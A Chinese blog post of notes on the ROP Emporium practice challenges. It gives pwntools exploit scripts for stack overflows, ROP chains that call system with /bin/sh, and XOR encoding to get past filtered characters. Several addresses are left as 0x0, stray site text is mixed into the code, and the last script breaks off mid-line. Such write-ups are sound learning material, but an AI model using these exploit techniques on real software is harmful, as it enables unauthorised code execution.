Rop Emporium
最近在学习ROP,发现ROP Emporium这个网站上题目挺好,就一直在做,我这里用到查gadget的工具是ROPgadget,其他工具也是可以的。因为是直接从笔记上粘贴的,所以没有排版啥的,。。
ret2win_32
简单的覆盖返回地址跳转到后门函数
#coding="utf-8" from pwn import * sh=process("./ret2win32") payload="a"*0x28+"a"*4+"\x59\x86\x04\x08" sh.recvuntil(">") sh.sendline(payload) sh.interactive()
讯享网
ret2win_64
和32位一样,覆盖返回地址跳转到后门函数
讯享网from pwn import * sh=process("./ret2win") payload="a"*0x20+"a"*8+p64(0x0) sh.recvuntil(">") sh.sendline(payload) sh.interactive()
split_32
程序的system中不是/bin/sh,通过查找字符串发现在数据段,将参数数据段参数传递给system就ok了
from pwn import * sh=process("./split32") payload="a"*0x28+"a"*4+p32(0x0)+p32(0x0804a030) sh.recvuntil(">") sh.sendline(payload) sh.interactive()
split_64
64位和32位有点不一样,在传参方面64位前几个参数是放在rdi,rsi,rdx,rcx,r8,r9中,所以需要将参数放到rdi中才可以调用成功
讯享网#coding="utf-8" from pwn import * sh=process("./split") system_addr=0x0 rdi_addr=0x0 flag_addr=0x0 payload='a'*0x20+'a'*0x8+p64(rdi_addr)+p64(flag_addr)+p64(system_addr) #当程序ret时,进入rdi_addr,然后rdi再ret到system_addr每一次esp指向都不一样 sh.recvuntil(">") sh.sendline(payload) sh.interactive()
callme_32
程序中没有system和/bin/sh,给了一个.so文件,用IDA查看发现程序通过callme_one函数将flag文件导入,通过callme_two和callme_three函数将flag解密输出,这三个函数还需要在0x1,0x2,0x3这三个参数,由于.so文件相当于在调用动态链接库,没有办法esp自减,所以我们利用程序中的gadget来平衡一下栈
#coding="utf-8" from pwn import * sh=process("./callme32") callme_one_addr=0x080485c0 callme_two_addr=0x0 callme_three_addr=0x080485b0 gadget_addr=0x080488a9 payload="a"*0x28+"a"*4 payload+=p32(callme_one_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3) payload+=p32(callme_two_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3) payload+=p32(callme_three_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3) sh.recvuntil(">") sh.sendline(payload) sh.interactive()
callme_64
和32基本一样,注意传参问题就好
讯享网#coding="utf-8" from pwn import * sh=process("./callme") gadget_addr=0x0401ab0 callme_one_addr=0x0 callme_two_addr=0x0 callme_three_addr=0x0 payload="a"*0x20+"a"*0x8 payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_one_addr) payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_two_addr) payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_three_addr) sh.recvuntil(">") sh.sendline(payload) sh.interactive()
write4_32
#coding="uft-8" from pwn import * sh=process("./write432") system_addr=0x0a #system_plt_addr=0x0 pop_pop_addr=0x080486da mov_addr=0x0 data_addr=0x0804a028 payload="a"*0x28+"a"*4 payload+=p32(pop_pop_addr)+p32(data_addr)+"/bin"+p32(mov_addr) payload+=p32(pop_pop_addr)+p32(data_addr+4)+"//sh"+p32(mov_addr) #payload+=p32(pop_pop_addr)+p32(data_addr+4)+"/sh\x00"+p32(mov_addr) payload+=p32(system_addr)+p32(data_addr) #p32(system_plt_addr) sh.recvuntil(">") sh.sendline(payload) sh.interactive()
write4_64
64位一次写入就好了
讯享网#coding="utf-8" from pwn import * sh=process("./write4") system_plt_addr=0x04005e0 data_addr=0x0 mov_ret_addr=0x0 pop_pop_addr=0x0 pop_rdi_addr=0x0 payload="a"*0x20+"a"*0x8 payload+=p64(pop_pop_addr)+p64(data_addr)+"/bin/sh\x00"+p64(mov_ret_addr) payload+=p64(pop_rdi_addr)+p64(data_addr)+p64(system_plt_addr) sh.recvuntil(">") sh.sendline(payload) sh.interactive()
badchars_32
我们依然要将 /bin/sh 写入到进程内存中,但这一次程序在读取,输入时会对敏感字符进行检查。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。
#coding="utf-8" from pwn import * sh=process("./badchars32") pop_ebx_ecx_addr=0x0 pop_esi_edi_addr=0x0 mov_edi_esi_addr=0x0 xor_addr=0x0 system_plt_addr=0x080484e0 bss_addr=0x0804a040 #encode binsh="" xor_byte=0x2 for i in "/bin/sh\x00": c=ord(i) ^ xor_byte binsh+=chr(c) #write payload="a"*44 payload+=p32(pop_esi_edi_addr)+binsh[0:4]+p32(bss_addr)+p32(mov_edi_esi_addr) payload+=p32(pop_esi_edi_addr)+binsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi_addr) #code for i in range(len(binsh)): payload+=p32(pop_ebx_ecx_addr) payload+=p32

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/126718.html